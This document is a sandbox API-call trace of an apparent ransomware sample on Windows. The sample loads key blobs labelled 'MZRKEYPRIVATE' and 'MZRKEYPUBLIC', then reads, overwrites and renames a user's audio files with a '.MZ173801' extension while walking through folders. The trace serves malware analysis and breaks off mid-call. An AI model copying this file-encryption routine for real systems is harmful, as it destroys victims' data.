YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0159.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0159.044] GetCurrentThreadId () returned 0xab4 [0159.044] GetCurrentThreadId () returned 0xab4 [0159.044] GetCurrentThreadId () returned 0xab4 [0159.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0159.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0159.045] GetCurrentThreadId () returned 0xab4 [0159.045] GetCurrentThreadId () returned 0xab4 [0159.045] GetCurrentThreadId () returned 0xab4 [0159.045] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qQSmOyAVpU.wav" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qqsmoyavpu.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.045] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0159.045] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.045] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xe363 [0159.045] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.045] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xe363, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0xe363, lpOverlapped=0x0) returned 1 [0159.058] CloseHandle (hObject=0x2f8) returned 1 [0159.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qQSmOyAVpU.wav" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qqsmoyavpu.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.133] WriteFile (in: hFile=0x2f8, lpBuffer=0x24b0040*, nNumberOfBytesToWrite=0xe363, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b0040*, lpNumberOfBytesWritten=0x19f758*=0xe363, lpOverlapped=0x0) returned 1 [0159.135] CloseHandle (hObject=0x2f8) returned 1 [0159.137] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qQSmOyAVpU.wav" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qqsmoyavpu.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qQSmOyAVpU.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\qqsmoyavpu.wav.mz173801")) returned 1 [0159.138] GetCurrentThreadId () returned 0xab4 [0159.138] GetCurrentThreadId () returned 0xab4 [0159.138] GetCurrentThreadId () returned 0xab4 [0159.138] GetCurrentThreadId () returned 0xab4 [0159.138] GetCurrentThreadId () returned 0xab4 [0159.138] GetCurrentThreadId () returned 0xab4 [0159.138] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d05f730, ftCreationTime.dwHighDateTime=0x1d5ee8b, ftLastAccessTime.dwLowDateTime=0xcbd9caa0, ftLastAccessTime.dwHighDateTime=0x1d5edb1, ftLastWriteTime.dwLowDateTime=0xcbd9caa0, ftLastWriteTime.dwHighDateTime=0x1d5edb1, nFileSizeHigh=0x0, nFileSizeLow=0xe363, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="qQSmOyAVpU.wav", cAlternateFileName="QQSMOY~1.WAV")) returned 0 [0159.138] GetLastError () returned 0x12 [0159.138] FindClose (in: hFindFile=0xa1b818 | out: hFindFile=0xa1b818) returned 1 [0159.138] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a6abc0, ftCreationTime.dwHighDateTime=0x1d5ece0, ftLastAccessTime.dwLowDateTime=0x88fde285, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88fde285, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0159.138] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0159.138] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61a6abc0, ftCreationTime.dwHighDateTime=0x1d5ece0, ftLastAccessTime.dwLowDateTime=0x88fde285, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88fde285, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ae1800, ftCreationTime.dwHighDateTime=0x1d5f041, ftLastAccessTime.dwLowDateTime=0xe7c86e40, ftLastAccessTime.dwHighDateTime=0x1d5e642, ftLastWriteTime.dwLowDateTime=0x88ead01e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x6845, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1HV6OOMj2L4Qe_mHPLK.mp3.MZ173801", cAlternateFileName="1HV6OO~1.MZ1")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a39800, ftCreationTime.dwHighDateTime=0x1d5e2ac, ftLastAccessTime.dwLowDateTime=0x773740b0, ftLastAccessTime.dwHighDateTime=0x1d5ec56, ftLastWriteTime.dwLowDateTime=0x88ed321f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xce58, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="4Nap.mp3.MZ173801", cAlternateFileName="4NAPMP~1.MZ1")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c5c30, ftCreationTime.dwHighDateTime=0x1d5e966, ftLastAccessTime.dwLowDateTime=0x21e94710, ftLastAccessTime.dwHighDateTime=0x1d5ed15, ftLastWriteTime.dwLowDateTime=0x88ed321f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x405, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="5V xr.m4a.MZ173801", cAlternateFileName="5VXRM4~1.MZ1")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b9a0, ftCreationTime.dwHighDateTime=0x1d5ead1, ftLastAccessTime.dwLowDateTime=0x53c0b960, ftLastAccessTime.dwHighDateTime=0x1d5e209, ftLastWriteTime.dwLowDateTime=0x88ef9454, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x6d04, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="qGswZi1Gyw _CPZuF.mp3.MZ173801", cAlternateFileName="QGSWZI~1.MZ1")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d05f730, ftCreationTime.dwHighDateTime=0x1d5ee8b, ftLastAccessTime.dwLowDateTime=0xcbd9caa0, ftLastAccessTime.dwHighDateTime=0x1d5edb1, ftLastWriteTime.dwLowDateTime=0x88fde285, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe363, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="qQSmOyAVpU.wav.MZ173801", cAlternateFileName="QQSMOY~1.MZ1")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d05f730, ftCreationTime.dwHighDateTime=0x1d5ee8b, ftLastAccessTime.dwLowDateTime=0xcbd9caa0, ftLastAccessTime.dwHighDateTime=0x1d5edb1, ftLastWriteTime.dwLowDateTime=0x88fde285, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe363, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="qQSmOyAVpU.wav.MZ173801", cAlternateFileName="QQSMOY~1.MZ1")) returned 0 [0159.139] GetLastError () returned 0x12 [0159.139] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd77ae9f0, ftCreationTime.dwHighDateTime=0x1d5e0ca, ftLastAccessTime.dwLowDateTime=0xc416d800, ftLastAccessTime.dwHighDateTime=0x1d5ea12, ftLastWriteTime.dwLowDateTime=0x88a5aab6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x84bd, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="o-Fi.mp3.MZ173801", cAlternateFileName="O-FIMP~1.MZ1")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebe11600, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0x485a1470, ftLastAccessTime.dwHighDateTime=0x1d5f084, ftLastWriteTime.dwLowDateTime=0x88a80e0e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x166c0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="SiBTVIHwNwSnLAsEiaZs.m4a.MZ173801", cAlternateFileName="SIBTVI~1.MZ1")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0159.139] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6acf7570, ftCreationTime.dwHighDateTime=0x1d5ec99, ftLastAccessTime.dwLowDateTime=0xfb7b6420, ftLastAccessTime.dwHighDateTime=0x1d5eb4b, ftLastWriteTime.dwLowDateTime=0xfb7b6420, ftLastWriteTime.dwHighDateTime=0x1d5eb4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="svKO8jzsiZGRBC", cAlternateFileName="SVKO8J~1")) returned 1 [0159.139] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0159.139] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0159.140] FindFirstFileW (in: 